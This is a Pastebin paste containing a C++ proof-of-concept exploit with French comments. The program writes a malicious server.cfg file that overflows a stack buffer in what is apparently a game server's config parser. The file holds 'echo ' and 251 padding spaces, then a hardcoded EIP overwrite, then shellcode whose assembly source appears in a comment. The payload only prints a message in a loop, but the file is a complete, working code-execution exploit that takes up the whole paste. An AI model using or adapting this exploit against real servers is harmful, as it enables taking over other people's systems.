Advertisement
Guest User

Untitled

a guest
Aug 9th, 2012
258
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.51 KB | None | 0 0
  1. #include <iostream>
  2.  
  3. // http://sasuke78200.blogspot.fr/
  4.  
  5. /*
  6.         Le code source du shellcode
  7.  
  8. USE32
  9.    
  10. _start:
  11.     call     _getStrAddr
  12. _logprintf:
  13.     pop     ebx             ; pop the last EIP (which is now the address of the string "Hi this is a buffer overflow !") on ebx
  14.     sub     esp, 0x80       ; adjust esp
  15.     push    0x00000000      ; push 0
  16.     push    ebx             ; push offset "Hi this is a buffer overflow !"
  17.     mov     eax, 0x427B60   ; eax = logprintf
  18.     call    eax             ; call logprintf
  19.     add     esp, 0x80       ; readjust esp
  20.     jmp     _start          ; restart
  21. _getStrAddr:
  22.     call    _logprintf
  23.     db "Hi this is a buffer overflow !"
  24.     db 0
  25. */
  26.  
  27. int main()
  28. {
  29.     FILE*   fServerCfg;
  30.     int     i;
  31.     char    aShellCode[] = // le shellcode
  32.     {
  33.         0xE8, 0x19, 0x00, 0x00, 0x00, 0x5B, 0x81, 0xEC, 0x80, 0x00, 0x00, 0x00,
  34.         0x6A, 0x00, 0x53, 0xB8, 0x60, 0x7B, 0x42, 0x00, 0xFF, 0xD0, 0x81, 0xC4,
  35.         0x80, 0x00, 0x00, 0x00, 0xEB, 0xE2, 0xE8, 0xE2, 0xFF, 0xFF, 0xFF, 0x48,
  36.         0x69, 0x20, 0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x61, 0x20,
  37.         0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x6F, 0x76, 0x65, 0x72, 0x66,
  38.         0x6C, 0x6F, 0x77, 0x20, 0x21, 0x00
  39.     };
  40.  
  41.  
  42.  
  43.     fServerCfg = fopen("./server.cfg", "wb");
  44.  
  45.     if(fServerCfg)
  46.     {
  47.         fwrite("echo ", 5, 1, fServerCfg);
  48.  
  49.         for(i = 0; i < 251; i++)
  50.         {
  51.             fputc(0x20, fServerCfg);                                // dépassement de taille du buffer
  52.         }
  53.  
  54.         fwrite("\x20\xFD\x12\x00", 4, 1, fServerCfg);               // écrasement de l'EIP
  55.         fwrite(aShellCode, sizeof(aShellCode), 1, fServerCfg);      // écriture du shellcode
  56.         fclose(fServerCfg);
  57.     }
  58.  
  59.     return 0;
  60. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement